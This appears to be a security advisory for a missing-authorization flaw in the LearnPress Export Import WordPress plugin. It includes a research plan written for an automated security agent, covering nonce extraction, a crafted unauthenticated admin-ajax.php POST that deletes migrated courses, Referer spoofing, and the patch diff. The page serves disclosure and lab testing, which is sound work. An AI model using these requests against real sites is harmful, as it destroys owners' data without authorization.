LearnPress Export Import <= 4.1.0 - Missing Authentication to Unauthenticated Migrated Course Deletion
Description
The LearnPress Export Import – WordPress extension for LearnPress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'delete_migrated_data' function in all versions up to, and including, 4.1.0. This makes it possible for unauthenticated attackers to delete course that have been migrated from Tutor LMS. The Tutor LMS plugin must be installed and activated in order to exploit the vulnerability.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=4.1.0Source Code
WordPress.org SVNThis research plan is designed for an automated security agent to investigate and exploit **CVE-2026-1787** in the **LearnPress – Backup & Migration Tool** plugin. --- ### 1. Vulnerability Summary The **LearnPress Export Import** plugin (<= 4.1.0) contains a missing authorization vulnerability in …
Show full research plan
This research plan is designed for an automated security agent to investigate and exploit CVE-2026-1787 in the LearnPress – Backup & Migration Tool plugin.
1. Vulnerability Summary
The LearnPress Export Import plugin (<= 4.1.0) contains a missing authorization vulnerability in the function responsible for deleting data migrated from Tutor LMS. Specifically, the function delete_migrated_data (or similar) is hooked to an AJAX action that fails to perform a current_user_can() check or verify a nonce correctly, allowing unauthenticated attackers to trigger the deletion of courses migrated from Tutor LMS.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Inferred):
lp_import_export_delete_migrated_dataorlp_delete_migrated_data. - HTTP Method: POST
- Required Parameter:
action - Authentication: Unauthenticated (vulnerability is "Missing Authentication").
- Preconditions:
- Tutor LMS plugin must be installed and active.
- Courses must have been migrated from Tutor LMS to LearnPress (or the system must perceive them as such via specific post meta).
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler, likely using
add_action( 'wp_ajax_nopriv_...', ... )or a generalinithook that checks for a specific$_GETor$_POSTtrigger. - Trigger: An HTTP POST request is sent to
admin-ajax.php. - Vulnerable Function: The execution reaches the handler function (e.g.,
delete_migrated_data). - Missing Check: The function proceeds to identify migrated course IDs (likely by querying
wp_postsfor specific types or checkingwp_postmetafor keys like_tutor_lms_migrated) and callswp_delete_post()without validating that the requester has administrative privileges. - Sink: Data is deleted from the database.
4. Nonce Acquisition Strategy
If the plugin requires a nonce for the AJAX action, it is likely exposed in the admin dashboard or on pages where the migration tool is active. Since the vulnerability is accessible to unauthenticated users, we must check if the nonce is leaked on the frontend.
- Identify Shortcodes: Search for shortcodes in the plugin:
grep -r "add_shortcode" . - Locate Nonce Variable: Search for
wp_localize_scriptin the plugin directory to find the JS object name.- Search:
grep -r "wp_localize_script" . - Likely Object:
lp_import_export_settingsorlearnpress_export_import_data.
- Search:
- Setup for Extraction:
- Create a page with any identified shortcode or simply the LearnPress course archive:
wp post create --post_type=page --post_status=publish --post_title="Migrate" --post_content="[lp_import_export_view]"(Guessing shortcode based on functionality).
- Create a page with any identified shortcode or simply the LearnPress course archive:
- Extract via Browser:
browser_navigate("http://localhost:8080/migrate")browser_eval("window.lp_import_export_settings?.nonce")(Replace with actual variable discovered in step 2).
5. Exploitation Strategy
The goal is to trigger the deletion of all courses migrated from Tutor LMS.
Step 1: Discover the AJAX Action
Search the plugin files for the string delete_migrated_data:grep -rn "delete_migrated_data" /var/www/html/wp-content/plugins/learnpress-import-export/
Step 2: Identify the Hook
Look for the add_action call associated with that function. Note if it uses wp_ajax_nopriv_. If it only uses wp_ajax_ (authenticated), the exploit may rely on the fact that the check is missing in a more global hook like init or admin_init.
Step 3: Craft the Payload
Using the http_request tool, send the following POST request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Header:
Content-Type: application/x-www-form-urlencoded - Body:
action=[ACTION_NAME]&nonce=[NONCE]
(Note: If no nonce is found in the code, omit the nonce parameter).
6. Test Data Setup
To confirm the exploit, we must have "migrated" data in the database.
- Install Prerequisites:
wp plugin install learnpress tutor --activate - Create Tutor LMS Content (Simulated):
# Create a LearnPress course COURSE_ID=$(wp post create --post_type=lp_course --post_title="Migrated Course" --post_status=publish --porcelain) # Add meta tagging it as migrated from Tutor LMS (Common pattern) wp post meta add $COURSE_ID _lp_import_source tutor-lms wp post meta add $COURSE_ID _tutor_course_id 123 - Verify Setup:
wp post list --post_type=lp_course
7. Expected Results
- Successful Exploit: The HTTP response should be
200 OK(often returning1or a JSON success message). - Database Impact: The course created in the setup phase should be deleted or moved to trash.
8. Verification Steps
After sending the HTTP request, verify the deletion using WP-CLI:
- Check Course Existence:
wp post list --post_type=lp_course --post_status=any
The "Migrated Course" should no longer appear in the list. - Check Trash:
wp post list --post_type=lp_course --post_status=trash
Check if the course was permanently deleted or just trashed.
9. Alternative Approaches
If the wp_ajax_nopriv hook is not present:
- Check
admin_init: Search for the function being called withinadmin_init. In WordPress,admin-ajax.phptriggersadmin_init. If the function does not checkcurrent_user_can(), an unauthenticated request toadmin-ajax.php?action=...will still execute the logic. - Parameter variations: The function might require specific parameters like
source=tutor-lmsto target specific data. Check the function definition for$_REQUESTor$_POSTaccess. - Referer/Origin Checks: If the request fails, check if the plugin validates the
Refererheader and spoof it if necessary.
Summary
The LearnPress Export Import plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check in its 'delete_migrated_data' function. This allows unauthenticated attackers to delete courses migrated from Tutor LMS by triggering a vulnerable AJAX action, provided the Tutor LMS plugin is active.
Security Fix
@@ -45,6 +45,10 @@ public function delete_migrated_data() { + if ( ! current_user_can( 'manage_options' ) ) { + return; + } + $source = isset( $_POST['source'] ) ? sanitize_text_field( $_POST['source'] ) : ''; if ( $source === 'tutor-lms' ) { $this->delete_tutor_lms_migrated(); }
Exploit Outline
1. Identify the AJAX action associated with the migration tool's deletion logic (e.g., 'lp_import_export_delete_migrated_data' or 'lp_delete_migrated_data'). 2. Locate any required nonces by inspecting localized scripts or global JavaScript variables in the frontend (such as 'lp_import_export_settings'). 3. Send an unauthenticated HTTP POST request to '/wp-admin/admin-ajax.php' containing the 'action' and a 'source' parameter set to 'tutor-lms'. 4. The plugin will execute the 'delete_migrated_data' function, which queries for courses with the '_lp_import_source' meta key set to 'tutor-lms' and deletes them via 'wp_delete_post()' without verifying the attacker's permissions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.